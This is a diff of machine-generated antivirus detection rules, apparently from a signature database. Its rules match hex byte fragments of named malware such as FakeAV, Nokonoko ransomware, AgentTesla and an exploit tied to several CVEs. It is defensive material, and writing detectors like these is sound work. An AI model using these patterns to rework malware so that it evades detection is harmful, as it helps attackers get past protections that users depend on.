78 a3 00 00 23 00 23 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 64 } //24944 + $a_61_2 = {65 72 2e 4c 4d 21 4d 54 42 00 14 00 2a 03 0f b7 3a c1 ef 03 8b ce 03 c9 03 c9 3b f8 76 90 01 01 88 88 c0 25 46 00 40 3b f8 77 90 01 01 8b c7 46 83 c2 20 83 fe 37 90 00 0a 00 37 03 89 48 14 8b c8 89 48 04 c7 40 08 01 00 00 00 33 c9 89 48 0c 83 c0 20 4a 75 90 01 01 89 1b 89 5b 04 ba 00 04 00 00 b9 90 01 04 8b c1 89 00 89 40 04 83 c1 } //19561 + $a_00_3 = {05 00 08 81 01 43 66 5a 58 63 3d 69 5c 00 00 78 a3 00 00 37 00 37 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 41 56 2e 4d 52 21 4d 54 42 00 1e 00 52 03 66 40 00 ff 35 ?? 66 40 00 ff 35 ?? 66 40 00 68 ?? 60 40 00 ff 35 ?? 6b 40 00 e8 ?? 24 00 00 68 ?? 66 40 00 ff 35 ?? 66 40 00 ff 35 ?? 66 40 00 68 ?? 62 40 00 ff 35 ?? 6b 40 00 e8 } //18952 condition: - ((#a_4e_0 & 1)*20259+(#a_69_1 & 1)*24944+(#a_49_2 & 1)*11892+(#a_90_3 & 1)*-30720) >=30 + ((#a_4e_0 & 1)*20259+(#a_69_1 & 1)*24944+(#a_61_2 & 1)*19561+(#a_00_3 & 1)*18952) >=30 } -rule _InfrastructureShared_11318{ +rule _InfrastructureShared_12053{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 64 69 4c 6f 61 64 65 72 2e 4c 4d 21 4d 54 42 00 14 00 2a 03 0f b7 3a c1 ef 03 8b ce 03 c9 03 c9 3b f8 76 90 01 01 88 88 c0 25 46 00 40 3b f8 77 90 01 01 8b c7 46 } //21539 + $a_83_1 = {37 90 00 0a 00 37 03 89 48 14 8b c8 89 48 04 c7 40 08 01 00 00 00 33 c9 89 48 0c 83 c0 20 4a 75 } //-15741 + $a_89_2 = {89 } //400 + condition: + ((#a_4c_0 & 1)*21539+(#a_83_1 & 1)*-15741+(#a_89_2 & 1)*400) >=35 + +} +rule _InfrastructureShared_12054{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,37 00 37 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 41 56 2e 4d 52 21 4d 54 42 00 1e 00 52 03 66 40 00 ff 35 90 01 01 66 40 00 ff 35 90 01 01 66 40 00 68 90 01 01 60 40 00 ff 35 90 01 01 6b 40 00 e8 90 01 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=55 + +} +rule _InfrastructureShared_12055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -124467,7 +132711,7 @@ rule _InfrastructureShared_11318{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11319{ +rule _InfrastructureShared_12056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -124477,7 +132721,7 @@ rule _InfrastructureShared_11319{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11320{ +rule _InfrastructureShared_12057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -124487,7 +132731,7 @@ rule _InfrastructureShared_11320{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11321{ +rule _InfrastructureShared_12058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -124497,7 +132741,7 @@ rule _InfrastructureShared_11321{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11322{ +rule _InfrastructureShared_12059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -124507,7 +132751,7 @@ rule _InfrastructureShared_11322{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11323{ +rule _InfrastructureShared_12060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -124517,7 +132761,7 @@ rule _InfrastructureShared_11323{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11324{ +rule _InfrastructureShared_12061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -124527,7 +132771,17 @@ rule _InfrastructureShared_11324{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11325{ +rule _InfrastructureShared_12062{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {56 69 72 75 73 3a 57 69 6e 33 32 2f 4d 65 6d 65 72 79 2e 48 4e 41 21 4d 54 42 00 01 00 77 03 72 62 00 00 77 62 00 00 90 01 1b 0a 00 00 00 00 5c 2a 2e 2a 00 00 00 00 2e 2e 00 00 2e 00 00 00 90 01 08 73 0a 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_12063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -124537,7 +132791,7 @@ rule _InfrastructureShared_11325{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_11326{ +rule _InfrastructureShared_12064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -124548,7 +132802,7 @@ rule _InfrastructureShared_11326{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*12358) >=1 } -rule _InfrastructureShared_11327{ +rule _InfrastructureShared_12065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -124559,7 +132813,7 @@ rule _InfrastructureShared_11327{ ((#a_46_0 & 1)*16675+(#a_59_1 & 1)*400) >=1 } -rule _InfrastructureShared_11328{ +rule _InfrastructureShared_12066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -124570,7 +132824,7 @@ rule _InfrastructureShared_11328{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111) >=1 } -rule _InfrastructureShared_11329{ +rule _InfrastructureShared_12067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -124582,7 +132836,7 @@ rule _InfrastructureShared_11329{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*8569+(#a_5b_2 & 1)*23553) >=1 } -rule _InfrastructureShared_11330{ +rule _InfrastructureShared_12068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -124595,7 +132849,7 @@ rule _InfrastructureShared_11330{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*-29852+(#a_58_2 & 1)*883+(#a_6f_3 & 1)*400) >=1 } -rule _InfrastructureShared_11331{ +rule _InfrastructureShared_12069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -124605,7 +132859,7 @@ rule _InfrastructureShared_11331{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_11332{ +rule _InfrastructureShared_12070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -124616,7 +132870,7 @@ rule _InfrastructureShared_11332{ ((#a_46_0 & 1)*16675+(#a_c2_1 & 1)*16895) >=2 } -rule _InfrastructureShared_11333{ +rule _InfrastructureShared_12071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -124627,7 +132881,7 @@ rule _InfrastructureShared_11333{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*99) >=2 } -rule _InfrastructureShared_11334{ +rule _InfrastructureShared_12072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -124638,7 +132892,7 @@ rule _InfrastructureShared_11334{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*2323) >=2 } -rule _InfrastructureShared_11335{ +rule _InfrastructureShared_12073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -124649,7 +132903,7 @@ rule _InfrastructureShared_11335{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*22528) >=2 } -rule _InfrastructureShared_11336{ +rule _InfrastructureShared_12074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -124659,18 +132913,7 @@ rule _InfrastructureShared_11336{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11337{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 4e 6f 6b 6f 6e 6f 6b 6f 2e 41 41 21 4d 54 42 00 01 00 3c 01 c1 e7 1a c1 ff 1f 81 e7 90 41 dc 76 31 df c1 e6 1a c1 fe 1f 81 e6 20 83 b8 ed 31 fe c5 f9 70 da ee c5 e9 ef d3 c5 f9 70 da 55 c5 } //21283 - $a_c5_1 = {7e d7 31 f7 48 ff c2 48 39 d1 0f 85 01 00 35 01 41 0f b7 34 53 31 fe 89 f3 d1 eb 89 f7 83 e7 01 f7 df 81 e7 20 83 b8 ed 31 df 89 fb d1 eb c5 f9 6e d6 c1 e6 1e c1 fe 1f 81 e6 20 83 b8 ed 31 de 89 f3 c1 eb 06 00 00 78 a4 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 4b 61 73 70 65 72 73 6b 79 5f 4c 61 62 2f 61 70 74 5f 52 55 5f 4d 6f 6f 6e 6c 69 67 68 74 4d 61 7a 65 5f 64 65 5f 74 6f 6f 6c 00 01 00 28 03 56 6e 75 6b 3a 20 25 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 27 03 53 79 6e 3a 20 25 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 } //-4119 - condition: - ((#a_46_0 & 1)*21283+(#a_c5_1 & 1)*-4119) >=2 - -} -rule _InfrastructureShared_11338{ +rule _InfrastructureShared_12075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -124682,7 +132925,7 @@ rule _InfrastructureShared_11338{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*6544+(#a_2d_2 & 1)*31277) >=2 } -rule _InfrastructureShared_11339{ +rule _InfrastructureShared_12076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -124694,7 +132937,7 @@ rule _InfrastructureShared_11339{ ((#a_46_0 & 1)*16675+(#a_c8_1 & 1)*1718+(#a_90_2 & 1)*-30399) >=2 } -rule _InfrastructureShared_11340{ +rule _InfrastructureShared_12077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -124706,7 +132949,7 @@ rule _InfrastructureShared_11340{ ((#a_54_0 & 1)*18467+(#a_0d_1 & 1)*5897+(#a_36_2 & 1)*26967) >=2 } -rule _InfrastructureShared_11341{ +rule _InfrastructureShared_12078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -124717,7 +132960,7 @@ rule _InfrastructureShared_11341{ ((#a_4c_0 & 1)*21539+(#a_34_1 & 1)*16745) >=2 } -rule _InfrastructureShared_11342{ +rule _InfrastructureShared_12079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -124730,7 +132973,7 @@ rule _InfrastructureShared_11342{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*7240+(#a_f4_2 & 1)*-14847+(#a_6f_3 & 1)*8993) >=2 } -rule _InfrastructureShared_11343{ +rule _InfrastructureShared_12080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -124742,49 +132985,35 @@ rule _InfrastructureShared_11343{ ((#a_77_0 & 1)*19491+(#a_8b_1 & 1)*-29867+(#a_6e_2 & 1)*25459) >=2 } -rule _InfrastructureShared_11344{ +rule _InfrastructureShared_12081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " strings : $a_54_0 = {3a 54 5f 48 6f 6f 6b 52 65 6d 6f 76 65 2e 41 00 01 00 15 01 83 e8 01 89 45 fc 8b 4d fc 83 e9 01 89 4d fc 8b 55 fc c1 fa 07 01 00 1a 03 83 7d f4 03 0f 87 90 01 01 00 00 00 8b 4d f4 ff 24 8d 90 01 04 8b 55 fc 90 00 01 00 1a 03 0f b6 05 00 90 01 01 00 } //18467 $a_0f_1 = {84 90 01 01 00 00 00 90 02 10 8b 4d 90 00 01 00 15 01 8b 55 10 52 8b 45 0c 50 8b 4d 08 51 8b 15 00 50 00 65 52 ff 15 01 00 14 01 8b 45 10 50 8b 4d 0c 51 8b 55 08 52 a1 00 50 00 65 50 ff 15 00 00 78 a4 00 00 02 00 02 00 05 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0a 01 56 42 2e 50 72 69 6e 74 65 72 01 00 08 01 56 42 2e 53 68 61 70 65 01 00 10 00 52 00 45 00 43 00 59 00 43 00 4c 00 45 00 52 00 01 00 1d 01 77 73 32 5f 33 32 2e 64 6c 6c 00 00 0e 00 00 00 67 65 74 68 6f 73 74 62 79 6e 61 6d 65 01 00 2e 02 f5 6b 00 00 00 0b 90 } //-31387 - $a_90_2 = {02 f5 65 00 00 00 0b 90 01 04 31 90 01 02 f5 72 00 00 00 0b 90 01 04 31 90 01 02 f5 6e 00 00 00 90 00 00 00 78 a4 00 00 02 00 02 00 06 00 21 23 41 } //1025 - $a_45_3 = {70 6c 6f 69 74 3a 57 69 6e 36 34 2f 41 6c 61 43 61 72 74 65 2e 4b 63 74 2e 48 6f 6f 6b 2e 54 65 62 21 64 68 61 00 02 00 14 23 25 30 00 00 00 90 02 4b 60 90 02 4b 58 90 02 4b } //17996 - $a_00_4 = {9c ff 0d 80 01 43 56 45 2d 32 30 32 31 2d 31 37 33 32 9c ff 0d 80 01 43 56 45 2d 32 30 31 35 2d 30 30 35 37 9c ff 08 80 01 4d 53 31 35 2d 30 31 30 9c ff 0d 80 01 43 56 45 2d 32 30 31 39 2d 30 38 30 33 9c ff 0e 80 01 43 56 45 2d 32 30 32 32 2d 32 31 38 38 32 00 00 78 a4 00 00 02 00 02 00 06 00 21 23 4c 6f 77 66 69 57 6f 72 6d 48 6f 6b 6f 62 6f 74 00 02 00 0a 01 53 65 74 57 69 6e 48 6f 4b 00 02 00 0b 01 2a 44 75 6d 70 50 61 73 73 } //5631 + $a_90_2 = {02 f5 65 00 00 00 0b 90 01 04 31 90 01 02 f5 72 00 00 00 0b 90 01 04 31 90 01 02 f5 6e 00 00 00 90 00 00 00 78 a4 00 00 02 00 02 00 06 00 21 23 4c } //1025 + $a_69_3 = {6f 72 6d 48 6f 6b 6f 62 6f 74 00 02 00 0a 01 53 65 74 57 69 6e 48 6f 4b 00 02 00 0b 01 2a 44 75 6d 70 50 61 73 73 2a 00 01 00 0a 01 2d 63 72 70 74 2e 73 79 73 00 01 00 09 01 2d 72 70 74 2e 73 79 73 00 01 00 30 01 63 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f } //30575 + $a_5c_4 = {65 73 65 72 76 69 63 65 2e 65 78 65 02 00 19 01 5c 25 73 2d 25 69 2e 25 69 2e 25 69 2e 25 69 2e 25 69 2e 25 69 2e 73 79 73 00 00 78 a4 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 6c 6f 77 44 72 69 66 74 2e 45 21 64 68 61 00 01 00 54 01 2e 62 61 74 2e 62 6d 70 2e 63 6d 64 2e 63 6f 6d 2e 63 73 76 } //25970 condition: - ((#a_54_0 & 1)*18467+(#a_0f_1 & 1)*-31387+(#a_90_2 & 1)*1025+(#a_45_3 & 1)*17996+(#a_00_4 & 1)*5631) >=2 + ((#a_54_0 & 1)*18467+(#a_0f_1 & 1)*-31387+(#a_90_2 & 1)*1025+(#a_69_3 & 1)*30575+(#a_5c_4 & 1)*25970) >=2 } -rule _InfrastructureShared_11345{ +rule _InfrastructureShared_12082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0a 01 56 42 2e 50 72 69 6e 74 65 72 01 00 08 01 56 42 2e 53 68 61 70 65 01 00 10 00 52 00 45 00 43 00 59 00 43 00 4c 00 45 00 52 00 01 00 1d 01 77 73 32 5f 33 32 2e 64 6c 6c 00 00 0e 00 00 00 67 65 74 68 6f 73 74 62 79 6e 61 6d 65 01 00 2e 02 f5 6b 00 00 00 0b 90 } //25635 - $a_90_1 = {02 f5 65 00 00 00 0b 90 01 04 31 90 01 02 f5 72 00 00 00 0b 90 01 04 31 90 01 02 f5 6e 00 00 00 90 00 00 00 78 a4 00 00 02 00 02 00 06 00 21 23 41 } //1025 - $a_45_2 = {70 6c 6f 69 74 3a 57 69 6e 36 34 2f 41 6c 61 43 61 72 74 65 2e 4b 63 74 2e 48 6f 6f 6b 2e 54 65 62 21 64 68 61 00 02 00 14 23 25 30 00 00 00 90 02 4b 60 90 02 4b 58 90 02 4b } //17996 - $a_00_3 = {9c ff 0d 80 01 43 56 45 2d 32 30 32 31 2d 31 37 33 32 9c ff 0d 80 01 43 56 45 2d 32 30 31 35 2d 30 30 35 37 9c ff 08 80 01 4d 53 31 35 2d 30 31 30 9c ff 0d 80 01 43 56 45 2d 32 30 31 39 2d 30 38 30 33 9c ff 0e 80 01 43 56 45 2d 32 30 32 32 2d 32 31 38 38 32 00 00 78 a4 00 00 02 00 02 00 06 00 21 23 4c 6f 77 66 69 57 6f 72 6d 48 6f 6b 6f 62 6f 74 00 02 00 0a 01 53 65 74 57 69 6e 48 6f 4b 00 02 00 0b 01 2a 44 75 6d 70 50 61 73 73 } //5631 - $a_00_4 = {0a } //42 + $a_90_1 = {02 f5 65 00 00 00 0b 90 01 04 31 90 01 02 f5 72 00 00 00 0b 90 01 04 31 90 01 02 f5 6e 00 00 00 90 00 00 00 78 a4 00 00 02 00 02 00 06 00 21 23 4c } //1025 + $a_69_2 = {6f 72 6d 48 6f 6b 6f 62 6f 74 00 02 00 0a 01 53 65 74 57 69 6e 48 6f 4b 00 02 00 0b 01 2a 44 75 6d 70 50 61 73 73 2a 00 01 00 0a 01 2d 63 72 70 74 2e 73 79 73 00 01 00 09 01 2d 72 70 74 2e 73 79 73 00 01 00 30 01 63 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f } //30575 + $a_5c_3 = {65 73 65 72 76 69 63 65 2e 65 78 65 02 00 19 01 5c 25 73 2d 25 69 2e 25 69 2e 25 69 2e 25 69 2e 25 69 2e 25 69 2e 73 79 73 00 00 78 a4 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 6c 6f 77 44 72 69 66 74 2e 45 21 64 68 61 00 01 00 54 01 2e 62 61 74 2e 62 6d 70 2e 63 6d 64 2e 63 6f 6d 2e 63 73 76 } //25970 + $a_63_4 = {65 78 65 2e 6a 70 67 2e 6b 6d 65 2e 6b 6d 6c 2e 6b 6d 7a 2e 6c 68 7a 2e 6f 64 74 2e 70 64 66 2e 70 6e 67 2e 70 70 74 2e 72 61 72 2e 72 74 66 2e 74 78 74 2e 78 6c 73 2e 7a 69 70 01 00 0c 01 63 68 65 63 6b 73 75 6d 2e 74 78 74 01 00 0b 01 6f 62 6a 4e 61 6d 65 2e 74 78 74 00 00 78 a4 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 } //25646 condition: - ((#a_5f_0 & 1)*25635+(#a_90_1 & 1)*1025+(#a_45_2 & 1)*17996+(#a_00_3 & 1)*5631+(#a_00_4 & 1)*42) >=2 + ((#a_5f_0 & 1)*25635+(#a_90_1 & 1)*1025+(#a_69_2 & 1)*30575+(#a_5c_3 & 1)*25970+(#a_63_4 & 1)*25646) >=2 } -rule _InfrastructureShared_11346{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " - - strings : - $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 41 6c 61 43 61 72 74 65 2e 4b 63 74 2e 48 6f 6f 6b 2e 54 65 62 21 64 68 61 00 02 00 14 23 25 30 00 00 00 90 02 4b 60 90 02 4b 58 90 02 4b ff 15 90 00 9c ff 0d 80 01 43 56 45 2d 32 30 32 } //16675 - $a_37_1 = {32 9c ff 0d 80 01 43 56 45 2d 32 30 31 35 2d 30 30 35 37 9c ff 08 80 01 4d 53 31 35 2d 30 31 30 9c ff 0d 80 01 43 56 45 2d 32 30 31 39 2d 30 38 30 } //11569 - $a_0e_2 = {80 01 43 56 45 2d 32 30 32 32 2d 32 31 38 38 32 00 00 78 a4 00 00 02 00 02 00 06 00 21 23 4c 6f 77 66 69 57 6f 72 6d 48 6f 6b 6f 62 6f 74 00 02 00 0a 01 53 65 74 57 69 6e 48 6f 4b 00 02 00 0b 01 2a 44 75 6d 70 50 61 73 73 2a 00 01 00 0a 01 2d 63 72 70 74 2e 73 79 73 00 01 00 09 01 2d 72 70 74 2e 73 79 73 00 01 00 30 01 63 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 5c 69 65 73 65 72 76 69 63 65 2e 65 78 65 02 00 19 01 5c 25 73 2d 25 69 2e 25 69 2e 25 69 2e 25 69 2e 25 69 2e 25 69 2e 73 79 73 00 00 78 a4 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 6c 6f 77 44 72 69 66 74 2e 45 21 64 68 61 00 01 00 54 01 2e 62 61 74 2e 62 6d 70 2e 63 6d 64 2e 63 6f 6d 2e 63 } //-25549 - $a_64_3 = {63 2e 65 78 65 2e 6a 70 67 2e 6b 6d 65 2e 6b 6d 6c 2e 6b 6d 7a 2e 6c 68 7a 2e 6f 64 74 2e 70 64 66 2e 70 6e 67 2e 70 70 74 2e 72 61 72 2e } //30323 c.exe.jpg.kme.kml.kmz.lhz.odt.pdf.png.ppt.rar. - $a_2e_4 = {78 74 2e 78 6c 73 2e 7a 69 70 01 00 0c 01 63 68 65 63 6b 73 75 6d 2e 74 78 74 01 00 0b 01 6f 62 6a 4e 61 6d 65 2e 74 78 74 00 00 78 a4 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 6f 63 6e 66 72 75 65 2e 41 31 00 01 00 18 01 4c 00 6f 00 63 00 61 00 6c 00 53 00 65 } //29810 - condition: - ((#a_46_0 & 1)*16675+(#a_37_1 & 1)*11569+(#a_0e_2 & 1)*-25549+(#a_64_3 & 1)*30323+(#a_2e_4 & 1)*29810) >=2 - -} -rule _InfrastructureShared_11347{ +rule _InfrastructureShared_12083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -124798,7 +133027,7 @@ rule _InfrastructureShared_11347{ ((#a_77_0 & 1)*19491+(#a_69_1 & 1)*29285+(#a_6d_2 & 1)*11879+(#a_2f_3 & 1)*13166+(#a_00_5 & 1)*116) >=2 } -rule _InfrastructureShared_11348{ +rule _InfrastructureShared_12084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -124809,18 +133038,30 @@ rule _InfrastructureShared_11348{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28011) >=3 } -rule _InfrastructureShared_11349{ +rule _InfrastructureShared_12085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 6f 63 6e 66 72 75 65 2e 41 31 00 01 00 18 01 4c 00 6f 00 63 00 61 00 6c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 01 00 14 01 2e 00 69 00 64 00 68 00 6f 00 73 00 74 00 2e 00 6b 00 7a 00 01 00 42 01 50 } //18467 - $a_00_2 = {61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 4e 00 45 00 54 00 5c 00 66 00 6f 00 6e 00 2e 00 6a 00 70 00 67 00 00 00 02 00 78 a4 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 6b 2e 42 4a 21 4d 54 42 00 01 00 0c 01 76 77 33 6f 7a 31 63 } //103 + $a_00_2 = {61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 4e 00 45 00 54 00 5c 00 66 00 6f 00 6e 00 2e 00 6a 00 70 00 67 00 00 00 02 00 78 a4 00 00 03 00 03 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 1a 01 4d 69 6e 67 77 2d 77 } //103 condition: ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*103) >=3 } -rule _InfrastructureShared_11350{ +rule _InfrastructureShared_12086{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 1a 01 4d 69 6e 67 77 2d 77 36 34 20 72 75 6e 74 69 6d 65 20 66 61 69 6c 75 72 65 3a 01 00 0b 01 47 4e 55 20 41 53 20 32 2e 34 34 01 00 4a 01 47 43 43 3a 20 28 4d 69 6e 47 57 2d 57 36 34 20 78 38 36 5f 36 34 2d 75 63 72 74 2d 70 6f 73 69 78 2d 73 } //25635 + $a_20_1 = {75 69 6c 74 20 62 79 20 42 72 65 63 68 74 20 53 61 6e 64 65 72 73 2c 20 72 32 29 20 31 34 2e 32 2e 30 00 00 78 a4 00 00 04 00 04 00 } //26725 + $a_23_2 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 6b 2e 42 4a 21 4d 54 42 00 01 00 0c } //4 + condition: + ((#a_5f_0 & 1)*25635+(#a_20_1 & 1)*26725+(#a_23_2 & 1)*4) >=3 + +} +rule _InfrastructureShared_12087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -124832,33 +133073,71 @@ rule _InfrastructureShared_11350{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*56+(#a_00_2 & 1)*100) >=4 } -rule _InfrastructureShared_11351{ +rule _InfrastructureShared_12088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 41 44 33 35 21 4d 54 42 00 01 00 26 81 01 50 73 61 78 73 77 6e 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 06 81 01 49 } //18467 - $a_6b_1 = {01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 24 81 01 33 38 63 65 39 35 61 36 2d 65 65 32 33 2d 34 34 64 32 2d 38 66 38 65 2d 31 32 36 30 30 36 63 32 61 30 39 63 00 00 78 a4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 43 31 32 33 21 4d 54 42 00 01 00 1a } //30318 - $a_6f_2 = {70 72 65 73 73 69 6e 67 6c 79 20 6f 74 6f 6c 6f 67 69 63 61 